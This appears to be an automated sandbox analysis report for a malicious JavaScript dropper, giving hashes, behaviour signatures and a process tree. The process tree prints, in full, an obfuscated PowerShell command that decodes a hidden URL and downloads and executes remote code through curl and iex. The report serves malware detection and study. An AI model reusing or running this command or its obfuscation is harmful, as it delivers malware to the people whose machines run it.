Analysis

  • max time kernel
    95s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 15:01

General

  • Target

    4dc0e785d6c3ae91c5d319bd115af1938f9d4aa8fdfda970251c0c8e5f1ef801.js

  • Size

    220KB

  • MD5

    3589bfb526b9ec518fbff4e6288c6bf9

  • SHA1

    58d7a19a13cc2bd0e17c83a299decb11f51a1202

  • SHA256

    4dc0e785d6c3ae91c5d319bd115af1938f9d4aa8fdfda970251c0c8e5f1ef801

  • SHA512

    16be0fd76f817e49247b6a1a729659dd0758b04946d1a33271660f26a4f92ae6417f3aa25873e511600d26a0c0e393eb87e3b6a487a6b25211bd05e4f9c5cb69

  • SSDEEP

    1536:nwWXnWgQWy7zp3y/4NZsFZc1lg2YoRp5qitCy7zp3y/4NZsFZc1lgzYoRp5qit0c:ny64T3oOn64T3TO3OE64T3364T3N

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\4dc0e785d6c3ae91c5d319bd115af1938f9d4aa8fdfda970251c0c8e5f1ef801.js
    1⤵
      PID:3352
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $lhbwsyacipxtq='ur' ;new-alias printout c$($lhbwsyacipxtq)l;$iqhueydokzrjfp=(2863,2874,2882,2866,2868,2863,2883,2882,2887,2820,2882,2816,2863,2811,2881,2876,2877,2812,2814,2811,2877,2869,2877,2828,2880,2826,2874,2870,2875,2881,2880,2815,2814);$oczkdnymg=('bronx','get-cmdlet');$dhnxyvjgilbm=$iqhueydokzrjfp;foreach($cawzighv in $dhnxyvjgilbm){$xosmulqpkn=$cawzighv;$azshmlbp=$azshmlbp+[char]($xosmulqpkn-2765);$ejqhmdcu=$azshmlbp; $tcrxepkjwby=$ejqhmdcu};$xdmiytzpvwr[2]=$tcrxepkjwby;$lscjrt='rl';$tqpevxm=1;.$([char](9992-9887)+'e'+'x')(printout -useb $tcrxepkjwby)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1928
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $lhbwsyacipxtq='ur' ;new-alias printout c$($lhbwsyacipxtq)l;$iqhueydokzrjfp=(2863,2874,2882,2866,2868,2863,2883,2882,2887,2820,2882,2816,2863,2811,2881,2876,2877,2812,2814,2811,2877,2869,2877,2828,2880,2826,2874,2870,2875,2881,2880,2815,2814);$oczkdnymg=('bronx','get-cmdlet');$dhnxyvjgilbm=$iqhueydokzrjfp;foreach($cawzighv in $dhnxyvjgilbm){$xosmulqpkn=$cawzighv;$azshmlbp=$azshmlbp+[char]($xosmulqpkn-2765);$ejqhmdcu=$azshmlbp; $tcrxepkjwby=$ejqhmdcu};$xdmiytzpvwr[2]=$tcrxepkjwby;$lscjrt='rl';$tqpevxm=1;.$([char](9992-9887)+'e'+'x')(printout -useb $tcrxepkjwby)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4680

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3us0sd2l.yz1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4680-0-0x00007FFA73F03000-0x00007FFA73F05000-memory.dmp

      Filesize

      8KB

    • memory/4680-6-0x000001E0E38B0000-0x000001E0E38D2000-memory.dmp

      Filesize

      136KB

    • memory/4680-11-0x00007FFA73F00000-0x00007FFA749C1000-memory.dmp

      Filesize

      10.8MB

    • memory/4680-12-0x00007FFA73F00000-0x00007FFA749C1000-memory.dmp

      Filesize

      10.8MB

    • memory/4680-13-0x00007FFA73F00000-0x00007FFA749C1000-memory.dmp

      Filesize

      10.8MB

    • memory/4680-14-0x00007FFA73F00000-0x00007FFA749C1000-memory.dmp

      Filesize

      10.8MB

    • memory/4680-15-0x00007FFA73F03000-0x00007FFA73F05000-memory.dmp

      Filesize

      8KB

    • memory/4680-16-0x00007FFA73F00000-0x00007FFA749C1000-memory.dmp

      Filesize

      10.8MB

    • memory/4680-19-0x00007FFA73F00000-0x00007FFA749C1000-memory.dmp

      Filesize

      10.8MB